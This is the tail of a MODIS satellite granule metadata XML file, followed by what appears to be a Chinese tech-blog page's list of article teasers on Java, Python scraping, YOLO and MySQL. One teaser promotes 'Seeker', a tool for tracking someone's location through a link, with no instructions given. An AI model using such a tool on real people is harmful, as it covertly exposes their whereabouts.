<PSAValue>0</PSAValue> </PSA> <PSA> <PSAName>NDVI1KM16DAYQCLASSPERCENTAGE</PSAName> <PSAValue>0</PSAValue> </PSA> <PSA> <PSAName>EVI1KM16DAYQCLASSPERCENTAGE</PSAName> <PSAValue>0</PSAValue> </PSA> <PSA> <PSAName>HORIZONTALTILENUMBER</PSAName> <PSAValue>27</PSAValue> </PSA> <PSA> <PSAName>VERTICALTILENUMBER</PSAName> <PSAValue>05</PSAValue> </PSA> <PSA> <PSAName>TileID</PSAName> <PSAValue>51027005</PSAValue> </PSA> </PSAs> <InputGranule> <InputPointer>MODAGAGG.A2014145.h27v05.005.2014147020023.hdf</InputPointer> <InputPointer>MODAGAGG.A2014146.h27v05.005.2014148040040.hdf</InputPointer> <InputPointer>MODAGAGG.A2014147.h27v05.005.2014148191855.hdf</InputPointer> <InputPointer>MODAGAGG.A2014148.h27v05.005.2014150002959.hdf</InputPointer> <InputPointer>MODAGAGG.A2014149.h27v05.005.2014151014416.hdf</InputPointer> <InputPointer>MODAGAGG.A2014150.h27v05.005.2014152015220.hdf</InputPointer> <InputPointer>MODAGAGG.A2014151.h27v05.005.2014152142901.hdf</InputPointer> <InputPointer>MODAGAGG.A2014152.h27v05.005.2014154031330.hdf</InputPointer> <InputPointer>MODAGAGG.A2014153.h27v05.005.2014155023253.hdf</InputPointer> <InputPointer>MODAGAGG.A2014154.h27v05.005.2014156015817.hdf</InputPointer> <InputPointer>MODAGAGG.A2014155.h27v05.005.2014157021913.hdf</InputPointer> <InputPointer>MODAGAGG.A2014156.h27v05.005.2014158022626.hdf</InputPointer> <InputPointer>MODAGAGG.A2014157.h27v05.005.2014159020319.hdf</InputPointer> <InputPointer>MODAGAGG.A2014158.h27v05.005.2014160022748.hdf</InputPointer> <InputPointer>MODAGAGG.A2014159.h27v05.005.2014161023954.hdf</InputPointer> <InputPointer>MODAGAGG.A2014160.h27v05.005.2014162014912.hdf</InputPointer> </InputGranule> <BrowseProduct> <BrowseGranuleId>UR:10:DsShESDTUR:UR:15:DsShSciServerUR:13:[EDC:DSSDSRV]:24:BR:Browse.001:2132545365</BrowseGranuleId> </BrowseProduct> </GranuleURMetaData> </GranuleMetaDataFile> ```
终于明白阿里百度这样的大公司,为什么面试经常拿ThreadLocal考验求职者了
点击上面↑「爱开发」关注我们每晚10点,捕获技术思考和创业资源洞察什么是ThreadLocalThreadLocal是一个本地线程副本变量工具类,各个线程都拥有一份线程私有的数
程序员必须掌握的核心算法有哪些?
由于我之前一直强调数据结构以及算法学习的重要性,所以就有一些读者经常问我,数据结构与算法应该要学习到哪个程度呢?,说实话,这个问题我不知道要怎么回答你,主要取决于你想学习到哪些程度,不过针对这个问题,我稍微总结一下我学过的算法知识点,以及我觉得值得学习的算法。这些算法与数据结构的学习大多数是零散的,并没有一本把他们全部覆盖的书籍。下面是我觉得值得学习的一些算法以及数据结构,当然,我也会整理一些看过...
《奇巧淫技》系列-python!!每天早上八点自动发送天气预报邮件到QQ邮箱
此博客仅为我业余记录文章所用,发布到此,仅供网友阅读参考,如有侵权,请通知我,我会删掉。 补充 有不少读者留言说本文章没有用,因为天气预报直接打开手机就可以收到了,为何要多此一举发送到邮箱呢!!!那我在这里只能说:因为你没用,所以你没用!!! 这里主要介绍的是思路,不是天气预报!不是天气预报!!不是天气预报!!!天气预报只是用于举例。请各位不要再刚了!!! 下面是我会用到的两个场景: 每日下
死磕YOLO系列,YOLOv1 的大脑、躯干和手脚
YOLO 是我非常喜欢的目标检测算法,堪称工业级的目标检测,能够达到实时的要求,它帮我解决了许多实际问题。 这就是 YOLO 的目标检测效果。它定位了图像中物体的位置,当然,也能预测物体的类别。 之前我有写博文介绍过它,但是每次重新读它的论文,我都有新的收获,为此我准备写一个系列的文章来详尽分析它。这是第一篇,从它的起始 YOLOv1 讲起。 YOLOv1 的论文地址:https://www.c...
知乎高赞:中国有什么拿得出手的开源软件产品?(整理自本人原创回答)
知乎高赞:中国有什么拿得出手的开源软件产品? 在知乎上,有个问题问“中国有什么拿得出手的开源软件产品(在 GitHub 等社区受欢迎度较好的)?” 事实上,还不少呢~ 本人于2019.7.6进行了较为全面的回答,对这些受欢迎的 Github 开源项目分类整理如下: 分布式计算、云平台相关工具类 1.SkyWalking,作者吴晟、刘浩杨 等等 仓库地址: apache/skywalking 更...
20行Python代码爬取王者荣耀全英雄皮肤
引言 王者荣耀大家都玩过吧,没玩过的也应该听说过,作为时下最火的手机MOBA游戏,咳咳,好像跑题了。我们今天的重点是爬取王者荣耀所有英雄的所有皮肤,而且仅仅使用20行Python代码即可完成。 准备工作 爬取皮肤本身并不难,难点在于分析,我们首先得得到皮肤图片的url地址,话不多说,我们马上来到王者荣耀的官网: 我们点击英雄资料,然后随意地选择一位英雄,接着F12打开调试台,找到英雄原皮肤的图片...
简明易理解的@SpringBootApplication注解源码解析(包含面试提问)
欢迎关注文章系列 ,关注我 《提升能力,涨薪可待》 《面试知识,工作可待》 《实战演练,拒绝996》 欢迎关注我博客,原创技术文章第一时间推出 也欢迎关注公 众 号【Ccww笔记】,同时推出 如果此文对你有帮助、喜欢的话,那就点个赞呗,点个关注呗! 《提升能力,涨薪可待篇》- @SpringBootApplication注解源码解析 一、@SpringBootApplication 的作用是什...
西游记团队中如果需要裁掉一个人,会先裁掉谁?
2019年互联网寒冬,大批企业开始裁员,下图是网上流传的一张截图: 裁员不可避免,那如何才能做到不管大环境如何变化,自身不受影响呢? 我们先来看一个有意思的故事,如果西游记取经团队需要裁员一名,会裁掉谁呢,为什么? 西游记团队组成: 1.唐僧 作为团队teamleader,有很坚韧的品性和极高的原则性,不达目的不罢休,遇到任何问题,都没有退缩过,又很得上司支持和赏识(直接得到唐太宗的任命,既给袈...
Python语言高频重点汇总
Python语言高频重点汇总 GitHub面试宝典仓库 回到首页 目录: Python语言高频重点汇总 目录: 1. 函数-传参 2. 元类 3. @staticmethod和@classmethod两个装饰器 4. 类属性和实例属性 5. Python的自省 6. 列表、集合、字典推导式 7. Python中单下划线和双下划线 8. 格式化字符串中的%和format 9. 迭代器和生成器 10...
究竟你适不适合买Mac?
我清晰的记得,刚买的macbook pro回到家,开机后第一件事情,就是上了淘宝网,花了500元钱,找了一个上门维修电脑的师傅,上门给我装了一个windows系统。。。。。。 表砍我。。。 当时买mac的初衷,只是想要个固态硬盘的笔记本,用来运行一些复杂的扑克软件。而看了当时所有的SSD笔记本后,最终决定,还是买个好(xiong)看(da)的。 已经有好几个朋友问我mba怎么样了,所以今天尽量客观
程序员一般通过什么途径接私活?
二哥,你好,我想知道一般程序猿都如何接私活,我也想接,能告诉我一些方法吗? 上面是一个读者“烦不烦”问我的一个问题。其实不止是“烦不烦”,还有很多读者问过我类似这样的问题。 我接的私活不算多,挣到的钱也没有多少,加起来不到 20W。说实话,这个数目说出来我是有点心虚的,毕竟太少了,大家轻喷。但我想,恰好配得上“一般程序员”这个称号啊。毕竟苍蝇再小也是肉,我也算是有经验的人了。 唾弃接私活、做外
ES6基础-ES6的扩展
进行对字符串扩展,正则扩展,数值扩展,函数扩展,对象扩展,数组扩展。 开发环境准备: 编辑器(VS Code, Atom,Sublime)或者IDE(Webstorm) 浏览器最新的Chrome 字符串的扩展: 模板字符串,部分新的方法,新的unicode表示和遍历方法: 部分新的字符串方法 padStart,padEnd,repeat,startsWith,endsWith,includes 字...
Python爬虫爬取淘宝,京东商品信息
小编是一个理科生,不善长说一些废话。简单介绍下原理然后直接上代码。 使用的工具(Python+pycharm2019.3+selenium+xpath+chromedriver)其中要使用pycharm也可以私聊我selenium是一个框架可以通过pip下载 pip install selenium -i https://pypi.tuna.tsinghua.edu.cn/simple/ 
阿里程序员写了一个新手都写不出的低级bug,被骂惨了。
你知道的越多,你不知道的越多 点赞再看,养成习惯 本文 GitHub https://github.com/JavaFamily 已收录,有一线大厂面试点思维导图,也整理了很多我的文档,欢迎Star和完善,大家面试可以参照考点复习,希望我们一起有点东西。 前前言 为啥今天有个前前言呢? 因为你们的丙丙啊,昨天有牌面了哟,直接被微信官方推荐,知乎推荐,也就仅仅是还行吧(心里乐开花)
Java工作4年来应聘要16K最后没要,细节如下。。。
前奏: 今天2B哥和大家分享一位前几天面试的一位应聘者,工作4年26岁,统招本科。 以下就是他的简历和面试情况。 基本情况: 专业技能: 1、&nbsp;熟悉Sping了解SpringMVC、SpringBoot、Mybatis等框架、了解SpringCloud微服务 2、&nbsp;熟悉常用项目管理工具:SVN、GIT、MAVEN、Jenkins 3、&nbsp;熟悉Nginx、tomca
Python爬虫精简步骤1 获取数据
爬虫的工作分为四步: 1.获取数据。爬虫程序会根据我们提供的网址,向服务器发起请求,然后返回数据。 2.解析数据。爬虫程序会把服务器返回的数据解析成我们能读懂的格式。 3.提取数据。爬虫程序再从中提取出我们需要的数据。 4.储存数据。爬虫程序把这些有用的数据保存起来,便于你日后的使用和分析。 这一篇的内容就是:获取数据。 首先,我们将会利用一个强大的库——requests来获取数据。 在电脑上安装
作为一个程序员,CPU的这些硬核知识你必须会!
CPU对每个程序员来说,是个既熟悉又陌生的东西? 如果你只知道CPU是中央处理器的话,那可能对你并没有什么用,那么作为程序员的我们,必须要搞懂的就是CPU这家伙是如何运行的,尤其要搞懂它里面的寄存器是怎么一回事,因为这将让你从底层明白程序的运行机制。 随我一起,来好好认识下CPU这货吧 把CPU掰开来看 对于CPU来说,我们首先就要搞明白它是怎么回事,也就是它的内部构造,当然,CPU那么牛的一个东
破14亿,Python分析我国存在哪些人口危机!
2020年1月17日,国家统计局发布了2019年国民经济报告,报告中指出我国人口突破14亿。 猪哥的朋友圈被14亿人口刷屏,但是很多人并没有看到我国复杂的人口问题:老龄化、男女比例失衡、生育率下降、人口红利下降等。 今天我们就来分析一下我们国家的人口数据吧! 更多有趣分析教程,扫描下方二维码关注vx公号「裸睡的猪」 即可查看! 一、背景 1.人口突破14亿 2020年1月17日,国家统计局发布
web前端javascript+jquery知识点总结
Javascript javascript 在前端网页中占有非常重要的地位,可以用于验证表单,制作特效等功能,它是一种描述语言,也是一种基于对象(Object)和事件驱动并具有安全性的脚本语言 ,语法同java类似,是一种解释性语言,边执行边解释。 JavaScript的组成: ECMAScipt 用于描述: 语法,变量和数据类型,运算符,逻辑控制语句,关键字保留字,对象。 浏览器对象模型(Br
Qt实践录:开篇
本系列文章介绍笔者的Qt实践之路。
在家远程办公效率低?那你一定要收好这个「在家办公」神器!
相信大家都已经收到国务院延长春节假期的消息,接下来,在家远程办公可能将会持续一段时间。 但是问题来了。远程办公不是人在电脑前就当坐班了,相反,对于沟通效率,文件协作,以及信息安全都有着极高的要求。有着非常多的挑战,比如: 1在异地互相不见面的会议上,如何提高沟通效率? 2文件之间的来往反馈如何做到及时性?如何保证信息安全? 3如何规划安排每天工作,以及如何进行成果验收? ......
作为一个程序员,内存和磁盘的这些事情,你不得不知道啊!!!
截止目前,我已经分享了如下几篇文章: 一个程序在计算机中是如何运行的?超级干货!!! 作为一个程序员,CPU的这些硬核知识你必须会! 作为一个程序员,内存的这些硬核知识你必须懂! 这些知识可以说是我们之前都不太重视的基础知识,可能大家在上大学的时候都学习过了,但是嘞,当时由于老师讲解的没那么有趣,又加上这些知识本身就比较枯燥,所以嘞,大家当初几乎等于没学。 再说啦,学习这些,也看不出来有什么用啊!
这个世界上人真的分三六九等,你信吗?
偶然间,在知乎上看到一个问题 一时间,勾起了我深深的回忆。 以前在厂里打过两次工,做过家教,干过辅导班,做过中介。零下几度的晚上,贴过广告,满脸、满手地长冻疮。   再回首那段岁月,虽然苦,但让我学会了坚持和忍耐。让我明白了,在这个世界上,无论环境多么的恶劣,只要心存希望,星星之火,亦可燎原。   下文是原回答,希望能对你能有所启发。   如果我说,这个世界上人真的分三六九等,
为什么听过很多道理,依然过不好这一生?
记录学习笔记是一个重要的习惯,不希望学习过的东西成为过眼云烟。做总结的同时也是一次复盘思考的过程。 本文是根据阅读得到 App上《万维钢·精英日课》部分文章后所做的一点笔记和思考。学习是一个系统的过程,思维模型的建立需要相对完整的学习和思考过程。以下观点是在碎片化阅读后总结的一点心得总结。
B 站上有哪些很好的学习资源?
哇说起B站,在小九眼里就是宝藏般的存在,放年假宅在家时一天刷6、7个小时不在话下,更别提今年的跨年晚会,我简直是跪着看完的!! 最早大家聚在在B站是为了追番,再后来我在上面刷欧美新歌和漂亮小姐姐的舞蹈视频,最近两年我和周围的朋友们已经把B站当作学习教室了,而且学习成本还免费,真是个励志的好平台ヽ(.◕ฺˇд ˇ◕ฺ;)ノ 下面我们就来盘点一下B站上优质的学习资源: 综合类 Oeasy: 综合
雷火神山直播超两亿,Web播放器事件监听是怎么实现的?
Web播放器解决了在手机浏览器和PC浏览器上播放音视频数据的问题,让视音频内容可以不依赖用户安装App,就能进行播放以及在社交平台进行传播。在视频业务大数据平台中,播放数据的统计分析非常重要,所以Web播放器在使用过程中,需要对其内部的数据进行收集并上报至服务端,此时,就需要对发生在其内部的一些播放行为进行事件监听。 那么Web播放器事件监听是怎么实现的呢? 01 监听事件明细表 名
3万字总结,Mysql优化之精髓
本文知识点较多,篇幅较长,请耐心学习 MySQL已经成为时下关系型数据库产品的中坚力量,备受互联网大厂的青睐,出门面试想进BAT,想拿高工资,不会点MySQL优化知识,拿offer的成功率会大大下降。 为什么要优化 系统的吞吐量瓶颈往往出现在数据库的访问速度上 随着应用程序的运行,数据库的中的数据会越来越多,处理时间会相应变慢 数据是存放在磁盘上的,读写速度无法和内存相比 如何优化 设计
一条链接即可让黑客跟踪你的位置! | Seeker工具使用
搬运自:冰崖的部落阁(icecliffsnet) 严正声明:本文仅限于技术讨论,严禁用于其他用途。 请遵守相对应法律规则,禁止用作违法途径,出事后果自负! 上次写的防社工文章里边提到的gps定位信息(如何防止自己被社工或人肉) 除了主动收集他人位置信息以外,我们还可以进行被动收集 (没有技术含量) Seeker作为一款高精度地理位置跟踪工具,同时也是社交工程学(社会工程学)爱好者...
作为程序员的我,大学四年一直自学,全靠这些实用工具和学习网站!
我本人因为高中沉迷于爱情,导致学业荒废,后来高考,毫无疑问进入了一所普普通通的大学,实在惭愧...... 我又是那么好强,现在学历不行,没办法改变的事情了,所以,进入大学开始,我就下定决心,一定要让自己掌握更多的技能,尤其选择了计算机这个行业,一定要多学习技术。 在进入大学学习不久后,我就认清了一个现实:我这个大学的整体教学质量和学习风气,真的一言难尽,懂的人自然知道怎么回事? 怎么办?我该如何更好的提升
前端JS初级面试题二 (。•ˇ‸ˇ•。)老铁们!快来瞧瞧自己都会了么
1. 传统事件绑定和符合W3C标准的事件绑定有什么区别? 传统事件绑定 &lt;div onclick=""&gt;123&lt;/div&gt; div1.onclick = function(){}; &lt;button onmouseover=""&gt;&lt;/button&gt; 注意: 如果给同一个元素绑定了两次或多次相同类型的事件,那么后面的绑定会覆盖前面的绑定 (不支持DOM事...
相关热词 c#开发的dll注册 c#的反射 c# grid绑定数据源 c#多线程怎么循环 c# 鼠标左键 c# char占位符 c# 日期比较 c#16进制转换为int c#用递归求顺序表中最大 c#小型erp源代码
立即提问